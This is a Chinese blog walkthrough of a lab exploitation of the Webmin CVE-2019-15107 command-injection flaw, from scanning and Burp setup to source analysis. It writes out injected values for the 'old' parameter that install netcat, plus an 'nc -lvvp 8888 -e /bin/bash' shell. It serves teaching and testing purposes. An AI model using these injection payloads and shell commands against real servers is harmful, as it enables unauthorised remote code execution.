• 网络安全—综合渗透测试-CVE-2019-15107-Webmin远程代码执行


    漏洞概述


    Webmin是一个基于Web的界面,用于Unix的系统管理。使用任何支持表和表单的浏览器,可以设置用户帐户,Apache,DNS,文件共享等。

    2019年8月10日,在pentest上发布了Webmin CVE-2019-15107远程代码执行漏洞。

    该漏洞由于文件在重置密码功能中存在一个代码执行漏洞,该漏洞允许恶意第三方在缺少输入验证的情况下而执行恶意代码,后经知道创宇404实验室发现,该漏洞的存在实则是sourceforge上某些版本的安装包和源码被植入了后门导致的。

    漏洞编号: CVE-2019-15107 

    漏洞名称: Webmin远程代码执行漏洞

    影响范围: Webmin <= 1.920

    漏洞描述:

    Webmin是目前功能最强大的基于Web的Unix系统管理工具。管理员通过浏览器访问Webmin的各种管理功能并完成相应的管理动作。据统计,互联网上大约有13w台机器使用Webmin。当用户开启Webmin密码重置功 能后,password_change.cgi中的old参数处有一个命令注入漏洞。攻击者可以通过POST请求中利用该参数在目标系统中执行任意命令,且无需身份验证。

    综合渗透测试-CVE-2019-15107-Webmin远程代码执行

    第一步,打开网络拓扑,启动实验虚拟机,分别查看虚拟机IP地址:

    Kali Linux

    Ubuntu Linux 2

    第二步,进入靶机Ubuntu Linux 2,打开终端并进入Webmin环境的根目录,启动虚拟环境。

    su

    输入密码:root

    cd cve-2019-15107-webmin/

    docker-compose up –d

    第三步,切换至渗透机Kali Linux,使用Nmap对靶机服务器进行详细服务及版本扫描:

    nmap –sV –A 172.16.1.200(靶机IP地址)

    可以看到这是一个Ubuntu Linux服务器,开放了Webmin服务,并且是存在漏洞的1.910版本。

    第四步,打开Burpsuite,设置代理:

    1)依次进入Proxy - Options勾选确认代理服务器的地址和端口

    2)将截断设置为lntercept is off,表示关闭截断功能

    第五步,设置火狐浏览器代理:

    1)进入火狐浏览器的设置页面中,依次按照下图选择设置代理

    2)设置代理的IP和端口为本地Burpsuite所侦听的ip和端口

    第六步,访问Webmin主页: 

    https://172.16.1.200:10000

    因为Webmin服务使用HTTPS协议,而浏览器没有安装代理的CA证书,所以不能正常访问。

    第七步,安装CA证书:

    1)访问Burpsuite代理页面:

    http://127.0.0.1:8080

    2)点击“CA Certificate”,下载CA证书

    3)打开火狐浏览器 - 设置,进入CA证书的安装页面:

    Advanced - Certificates - View Certificates

    4)导入下载的Burpsuite 证书

    5)安装Burpsuite所颁发的CA证书,勾选三个复选框以信任该证书

    第八步,再次访问Webmin网站主页:

    http://172.16.1.200:10000

    1)将网站添加到可信任的列表中

    2)访问恢复正常

    第九步,进入渗透机Kali Linux,打开文件管理器,进入Home下的Webmin目录,查看PoC文件

    第十步,使用PoC进行漏洞验证:

    1)打开Burpsuite,进入Repeater模块,将PoC代码复制到该模块中:

    修改Host字段和Referer字段为靶机服务器Webmin服务的IP地址及端口,然后点击Go发送数据包

    2)Host填写172.16.1.200,Port填写10000,勾选Use HTTPS(使用HTTPS协议),再次点击Go发送数据包

    3)查看构造数据包的响应包,指定的系统命令“id”执行成功:

    第十一步,测试靶机服务器系统是否已经安装NetCat:

    将old字段的值修改为

    old=test | nc && echo "--->hello"

    && 符号表示,如果第一个命令成功执行,则执行第二个命令。

    根据回显结果,第二条命令echo "--->hello"并没有执行(无回显),证明第一条命令没有成功执行,系统中不存在NetCat软件。

    第十二步,在靶机服务器上安装NetCat:

    old=test | apt install netcat -y

    第十三步,利用nc反弹Shell:

    1)使用nc –lvvp 8888 –e /bin/bash命令,使靶机服务器在8888端口反弹一个系统命令Shell

    2)在渗透机Kali Linux中,使用nc 172.16.1.200 8888命令连接靶机服务器的所监听的端口:

    使用pwd命令查看自己现在所处的目录,使用ls命令查看当前目录下含有哪些文件

    第十四步,进入靶机服务器Ubuntu 16,输入命令停止Docker中的虚拟环境:

    docker stop $(docker ps -q)

    第十五步,漏洞分析,使用cd /home/yun/cve-2019-15107-webmin/webmin-source命令进入Webmin的源码目录:

    1)使用vim password_change.cgi命令,打开password_change.cgi文件:

    2)使用set nu设置vim每列前的数字:

    3)当passwd_mode=2时,漏洞就会被触发,密码重置功能启动:

    4)分析第18-31行代码

    这段代码用于根据请求中的user参数,查找user的值是否属于Webmin的用户。假设只存在一个用户root,且user=root,则$wuser为root。

    根据这个代码的逻辑可以看出,如果传入的user为系统用户,无法进入第37行的if条件语句,从而无法执行第40行qx/...../的命令执行代码。当传入的用户为空或者不存在时,$wuser的值为{},但是会进入if条件语句。

    5)分析第206~219行源码

    从这段代码片段中,可以看出命令执行不需要管道符“|”,就可以执行命令回显。

  • 相关阅读:
    jupyter/scipy-notebook:python3.8 docker 镜像
    JavaCV音视频开发宝典:rtsp转推到rtp(非TS流方式),及使用TS流发送解决sdp缺失问题
    利用小批量训练的方法在子图中进行消息传递
    Leetcode 150:逆波兰表达式求值
    jvm 二之 栈帧内部结构
    H12-821_210
    卡尔曼滤波之基本概念和状态观测器
    HTML+CSS:实现心动的感觉!
    动量轮动与光大RSRS指标在backtrader的实现
    acwing算法提高之图论--单源最短路的综合应用
  • 原文地址:https://blog.csdn.net/qq_48609816/article/details/125881815